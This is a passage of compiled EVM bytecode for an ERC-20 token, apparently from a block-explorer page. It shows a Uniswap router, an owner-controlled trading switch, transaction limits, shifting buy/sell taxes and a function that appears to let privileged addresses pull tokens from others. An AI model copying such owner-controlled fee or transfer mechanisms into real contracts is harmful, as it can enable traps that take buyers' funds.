65b60006132c7602683612aba565b91506132d28261326b565b604082019050919050565b600060208201905081810360008301526132f6816132ba565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61339081612a3f565b82525050565b60006133a28383613387565b60208301905092915050565b6000602082019050919050565b60006133c68261335b565b6133d08185613366565b93506133db83613377565b8060005b8381101561340c5781516133f38882613396565b97506133fe836133ae565b9250506001810190506133df565b5085935050505092915050565b600060808201905061342e60008301876130aa565b818103602083015261344081866133bb565b905061344f6040830185612a51565b61345c6060830184612a85565b95945050505050565b600060608201905061347a6000830186612a51565b6134876020830185612a51565b6134946040830184612a85565b949350505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134f8602483612aba565b91506135038261349c565b604082019050919050565b60006020820190508181036000830152613527816134eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061358a602283612aba565b91506135958261352e565b604082019050919050565b600060208201905081810360008301526135b98161357d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006135f6601d83612aba565b9150613601826135c0565b602082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613688602583612aba565b91506136938261362c565b604082019050919050565b600060208201905081810360008301526136b78161367b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061371a602383612aba565b9150613725826136be565b604082019050919050565b600060208201905081810360008301526137498161370d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613786601383612aba565b915061379182613750565b602082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613818603d83612aba565b9150613823826137bc565b604082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b60006138aa603683612aba565b91506138b58261384e565b604082019050919050565b600060208201905081810360008301526138d98161389d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b600061393c603983612aba565b9150613947826138e0565b604082019050919050565b6000602082019050818103600083015261396b8161392f565b9050919050565b600061397d82612a7b565b915061398883612a7b565b925082820261399681612a7b565b915082820484148315176139ad576139ac612fb0565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139ee82612a7b565b91506139f983612a7b565b925082613a0957613a086139b4565b5b828204905092915050565b6000613a1f82612a7b565b9150613a2a83612a7b565b9250828203905081811115613a4257613a41612fb0565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a7e602083612aba565b9150613a8982613a48565b602082019050919050565b60006020820190508181036000830152613aad81613a71565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b10602683612aba565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b600060a082019050613b5b6000830188612a85565b613b686020830187612a85565b8181036040830152613b7a81866133bb565b9050613b896060830185612a51565b613b966080830184612a85565b969550505050505056fea2646970667358221220fa1c59bf846322546d052a27d2abd3412e0fe42cc8d34239284775c456ce8dbe64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102085760003560e01c8063751039fc11610118578063b61b64fa116100a0578063e5b37a651161006f578063e5b37a6514610761578063ef437ff51461079e578063f2fde38b146107c7578063fca675a8146107f0578063ffdf01c31461081b5761020f565b8063b61b64fa146106a5578063bf6a1c0d146106d0578063d931d7be146106e7578063dd62ed3e146107245761020f565b806395d89b41116100e757806395d89b41146105aa578063a014f37d146105d5578063a457c2d714610600578063a9059cbb1461063d578063aa4bde281461067a5761020f565b8063751039fc146105005780638baa8249146105175780638c0b5e22146105545780638da5cb5b1461057f5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461044c57806354b762a6146104775780635ea7e69a146104a257806370a08231146104ac578063715018a6146104e95761020f565b8063313ce5671461038e57806333ee1793146103b957806339509351146103e45780633eb5d9b2146104215761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd14610328578063253ac0f1146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b005b34801561039a57600080fd5b506103a3610aa7565b6040516103b09190612d4a565b60405180910390f35b3480156103c557600080fd5b506103ce610ab0565b6040516103db9190612a94565b60405180910390f35b3480156103f057600080fd5b5061040b60048036038101906104069190612bbe565b610ab6565b6040516104189190612c19565b60405180910390f35b34801561042d57600080fd5b50610436610aed565b6040516104439190612a94565b60405180910390f35b34801561045857600080fd5b50610461610af3565b60405161046e9190612a60565b60405180910390f35b34801561048357600080fd5b5061048c610b19565b6040516104999190612c19565b60405180910390f35b6104aa610b95565b005b3480156104b857600080fd5b506104d360048036038101906104ce9190612d01565b610e7e565b6040516104e09190612a94565b60405180910390f35b3480156104f557600080fd5b506104fe610ec6565b005b34801561050c57600080fd5b50610515610eda565b005b34801561052357600080fd5b5061053e60048036038101906105399190612d01565b610f0a565b60405161054b9190612c19565b60405180910390f35b34801561056057600080fd5b50610569610f2a565b6040516105769190612a94565b60405180910390f35b34801561058b57600080fd5b50610594610f30565b6040516105a19190612a60565b60405180910390f35b3480156105b657600080fd5b506105bf610f5a565b6040516105cc9190612b3f565b60405180910390f35b3480156105e157600080fd5b506105ea610fec565b6040516105f79190612c19565b60405180910390f35b34801561060c57600080fd5b5061062760048036038101906106229190612bbe565b611038565b6040516106349190612c19565b60405180910390f35b34801561064957600080fd5b50610664600480360381019061065f9190612bbe565b6110af565b6040516106719190612c19565b60405180910390f35b34801561068657600080fd5b5061068f6110d2565b60405161069c9190612a94565b60405180910390f35b3480156106b157600080fd5b506106ba6110d8565b6040516106c79190612a94565b60405180910390f35b3480156106dc57600080fd5b506106e56110de565b005b3480156106f357600080fd5b5061070e60048036038101906107099190612d01565b61116e565b60405161071b9190612c19565b60405180910390f35b34801561073057600080fd5b5061074b60048036038101906107469190612d65565b61118e565b6040516107589190612a94565b60405180910390f35b34801561076d57600080fd5b5061078860048036038101906107839190612d01565b611215565b6040516107959190612c19565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c09190612dd1565b611235565b005b3480156107d357600080fd5b506107ee60048036038101906107e99190612d01565b611298565b005b3480156107fc57600080fd5b5061080561131b565b6040516108129190612e88565b60405180910390f35b34801561082757600080fd5b50610842600480360381019061083d9190612bbe565b61132e565b005b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b61098a612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a029190612a60565b602060405180830381865afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190612f18565b6040518363ffffffff1660e01b8152600401610a60929190612f45565b6020604051808303816000875af1158015610a7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa39190612f83565b5050565b60006012905090565b60125481565b600080610ac161165e565b9050610ae2818585610ad3858961118e565b610add9190612fdf565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610b85573d6000803e3d6000fd5b5060006016819055506001905090565b610b9d612275565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2c9190613028565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd79190613028565b6040518363ffffffff1660e01b8152600401610cf4929190613055565b6020604051808303816000875af1158015610d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d379190613028565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e0930610e7e565b600080610e14610f30565b426040518863ffffffff1660e01b8152600401610e36969594939291906130b9565b60606040518083038185885af1158015610e54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e79919061311a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ece612275565b610ed860006122f3565b565b610ee2612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f6990612ed2565b80601f0160208091040260200160405190810160405280929190818152602001828054610f9590612ed2565b8015610fe25780601f10610fb757610100808354040283529160200191610fe2565b820191906000526020600020905b815481529060010190602001808311610fc557829003601f168201915b5050505050905090565b6000610ff6612275565b6003601060006101000a81548160ff0219169083600381111561101c5761101b612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061104361165e565b90506000611051828661118e565b905083811015611096576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108d906131df565b60405180910390fd5b6110a38286868403611666565b60019250505092915050565b6000806110ba61165e565b90506110c78185856118bb565b600191505092915050565b60095481565b60165481565b6110e6612275565b601060029054906101000a900460ff1615611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d9061324b565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b600e6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61123d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6112a0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361130f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611306906132dd565b60405180910390fd5b611318816122f3565b50565b601060009054906101000a900460ff1681565b6000600267ffffffffffffffff81111561134b5761134a6132fd565b5b6040519080825280602002602001820160405280156113795781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190613028565b8160008151811061141f5761141e61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061146e5761146d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106114be576114bd61332c565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115b1577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b815260040161157a9493929190613419565b6000604051808303818588803b15801561159357600080fd5b505af11580156115a7573d6000803e3d6000fd5b5050505050611658565b6115bb84846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85846001815181106115ec576115eb61332c565b5b6020026020010151866040518463ffffffff1660e01b815260040161161393929190613465565b6020604051808303816000875af1158015611632573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116569190612f83565b505b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b848461118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610e7e565b82611bec9190612fdf565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610f30565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca828561118e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610e7e565b03156127425760008061269a30610e7e565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e7e565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612fdf565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6132fd565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b061332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190613028565b8160018151811061288e5761288d61332c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612943929190612f45565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129869190612f83565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b600081519050612f1281612b92565b92915050565b600060208284031215612f2e57612f2d612b61565b5b6000612f3c84828501612f03565b91505092915050565b6000604082019050612f5a6000830185612a51565b612f676020830184612a85565b9392505050565b600081519050612f7d81612da5565b92915050565b600060208284031215612f9957612f98612b61565b5b6000612fa784828501612f6e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fea82612a7b565b9150612ff583612a7b565b925082820190508082111561300d5761300c612fb0565b5b92915050565b60008151905061302281612b66565b92915050565b60006020828403121561303e5761303d612b61565b5b600061304c84828501613013565b91505092915050565b600060408201905061306a6000830185612a51565b6130776020830184612a51565b9392505050565b6000819050919050565b60006130a361309e6130998461307e565b612c34565b612a7b565b9050919050565b6130b381613088565b82525050565b600060c0820190506130ce6000830189612a51565b6130db6020830188612a85565b6130e860408301876130aa565b6130f560608301866130aa565b6131026080830185612a51565b61310f60a0830184612a85565b979650505050505050565b60008060006060848603121561313357613132612b61565b5b600061314186828701612f03565b935050602061315286828701612f03565b925050604061316386828701612f03565b9150509250925092565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131c9602583612aba565b91506131d48261316d565b604082019050919050565b600060208201905081810360008301526131f8816131bc565b9050919050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613235601a83612aba565b9150613240826131ff565b602082019050919050565b6000602082019050818103600083015261326481613228565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006132c7602683612aba565b91506132d28261326b565b604082019050919050565b600060208201905081810360008301526132f6816132ba565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61339081612a3f565b82525050565b60006133a28383613387565b60208301905092915050565b6000602082019050919050565b60006133c68261335b565b6133d08185613366565b93506133db83613377565b8060005b8381101561340c5781516133f38882613396565b97506133fe836133ae565b9250506001810190506133df565b5085935050505092915050565b600060808201905061342e60008301876130aa565b818103602083015261344081866133bb565b905061344f6040830185612a51565b61345c6060830184612a85565b95945050505050565b600060608201905061347a6000830186612a51565b6134876020830185612a51565b6134946040830184612a85565b949350505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134f8602483612aba565b91506135038261349c565b604082019050919050565b60006020820190508181036000830152613527816134eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061358a602283612aba565b91506135958261352e565b604082019050919050565b600060208201905081810360008301526135b98161357d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006135f6601d83612aba565b9150613601826135c0565b602082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613688602583612aba565b91506136938261362c565b604082019050919050565b600060208201905081810360008301526136b78161367b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061371a602383612aba565b9150613725826136be565b604082019050919050565b600060208201905081810360008301526137498161370d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613786601383612aba565b915061379182613750565b602082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613818603d83612aba565b9150613823826137bc565b604082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f